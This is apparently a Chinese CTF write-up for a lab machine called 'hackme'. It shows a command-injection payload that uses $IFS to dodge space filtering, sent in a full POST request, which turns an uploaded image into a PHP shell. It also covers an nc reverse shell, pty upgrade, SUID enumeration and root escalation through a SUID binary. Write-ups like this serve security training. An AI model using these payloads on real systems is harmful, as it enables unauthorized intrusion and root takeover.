Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置 shell 变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
执行:
system('cp$IFS/var/www/html/uploads/year2020/php-server.gif$IFS/var/www/html/uploads/year2020/php-server.php')
POST /welcomeadmin.php HTTP/1.1
Host: 192.168.0.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://192.168.0.22
Connection: close
Referer: http://192.168.0.22/welcomeadmin.php
Cookie: PHPSESSID=a2a7k5qcsnra0f2dk9pn88vkh6
Upgrade-Insecure-Requests: 1
fname=system('cp$IFS/var/www/html/uploads/year2020/php-server.gif$IFS/var/www/html/uploads/year2020/php-server.php')&lname=system('cp$IFS/var/www/html/uploads/year2020/php-server.gif$IFS/var/www/html/uploads/year2020/php-server.php')&search=Search+User

kali 中 nc 开启监听,访问文件,反弹 shell 成功


使用 python 切换为 bash:
python3 -c 'import pty; pty.spawn("/bin/bash")'

3、权限提升
查询 suid 权限程序:
find / -perm -u=s -type f 2>/dev/null
www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core18/1932/bin/mount
/snap/core18/1932/bin/ping
/snap/core18/1932/bin/su
/snap/core18/1932/bin/umount
/snap/core18/1932/usr/bin/chfn
/snap/core18/1932/usr/bin/chsh
/snap/core18/1932/usr/bin/gpasswd
/snap/core18/1932/usr/bin/newgrp
/snap/core18/1932/usr/bin/passwd
/snap/core18/1932/usr/bin/sudo
/snap/core18/1932/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1932/usr/lib/openssh/ssh-keysign
/snap/core18/2952/bin/mount
/snap/core18/2952/bin/ping
/snap/core18/2952/bin/su
/snap/core18/2952/bin/umount
/snap/core18/2952/usr/bin/chfn
/snap/core18/2952/usr/bin/chsh
/snap/core18/2952/usr/bin/gpasswd
/snap/core18/2952/usr/bin/newgrp
/snap/core18/2952/usr/bin/passwd
/snap/core18/2952/usr/bin/sudo
/snap/core18/2952/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2952/usr/lib/openssh/ssh-keysign
/snap/core/17247/bin/mount
/snap/core/17247/bin/ping
/snap/core/17247/bin/ping6
/snap/core/17247/bin/su
/snap/core/17247/bin/umount
/snap/core/17247/usr/bin/chfn
/snap/core/17247/usr/bin/chsh
/snap/core/17247/usr/bin/gpasswd
/snap/core/17247/usr/bin/newgrp
/snap/core/17247/usr/bin/passwd
/snap/core/17247/usr/bin/sudo
/snap/core/17247/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17247/usr/lib/openssh/ssh-keysign
/snap/core/17247/usr/lib/snapd/snap-confine
/snap/core/17247/usr/sbin/pppd
/snap/core24/1151/usr/bin/chfn
/snap/core24/1151/usr/bin/chsh
/snap/core24/1151/usr/bin/gpasswd
/snap/core24/1151/usr/bin/mount
/snap/core24/1151/usr/bin/newgrp
/snap/core24/1151/usr/bin/passwd
/snap/core24/1151/usr/bin/su
/snap/core24/1151/usr/bin/sudo
/snap/core24/1151/usr/bin/umount
/snap/core24/1151/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core24/1151/usr/lib/openssh/ssh-keysign
/snap/core24/1151/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/su
/bin/fusermount
www-data@hackme:/$
发现一个home目录下的文件,进去后,执行发现执行成功
www-data@hackme:/$ ls
ls
bin home lib64 opt sbin sys vmlinuz
boot initrd.img lost+found proc snap tmp vmlinuz.old
dev initrd.img.old media root srv usr
etc lib mnt run swap.img var
www-data@hackme:/$ pwd
pwd
/
www-data@hackme:/$ ls /home
ls /home
hackme legacy
www-data@hackme:/$ ls /home/hackme
ls /home/hackme
www-data@hackme:/$ ls /home/legacy
ls /home/legacy
touchmenot
www-data@hackme:/$ cd /home/legacy
cd /home/legacy
www-data@hackme:/home/legacy$ ls
ls
touchmenot
www-data@hackme:/home/legacy$ ./touchmenot
./touchmenot
root@hackme:/home/legacy# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@hackme:/home/legacy#
提权成功
1. SUID特殊权限
从find命令结果可以看到:
/home/legacy/touchmenot
这个文件设置了SUID(Set User ID)权限,这意味:
-
任何用户执行这个程序时,程序会以文件所有者的权限运行
-
而不是以当前用户的权限运行
2. 文件所有权检查
通过以下信息可以推断:
-
文件在/home/legacy目录下
-
执行后获得了uid=0(root)权限
-
说明touchmenot文件的所有者是root
3. 权限验证
用这个命令确认:
root@hackme:/home/legacy# ls -la /home/legacy/touchmenot
ls -la /home/legacy/touchmenot
-rwsr–r-x 1 root root 8472 Mar 26 2019 /home/legacy/touchmenot
root@hackme:/home/legacy#
应该会显示类似:
-rwsr-xr-x 1 root root … /home/legacy/touchmenot
注意那个s(而不是x),这就是SUID标志。
SUID权限的工作原理
正常程序执行:用户执行程序 → 以用户自己的权限运行
SUID程序执行:用户执行程序 → 以文件所有者的权限运行
为什么这是安全风险
touchmenot程序被设计成:
-
所有者:root
-
SUID位:已设置
-
功能:可能执行了setuid(0)或类似系统调用
当www-data用户执行时:
普通用户权限 → 执行touchmenot → 获得root权限 → 提权成功
本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。


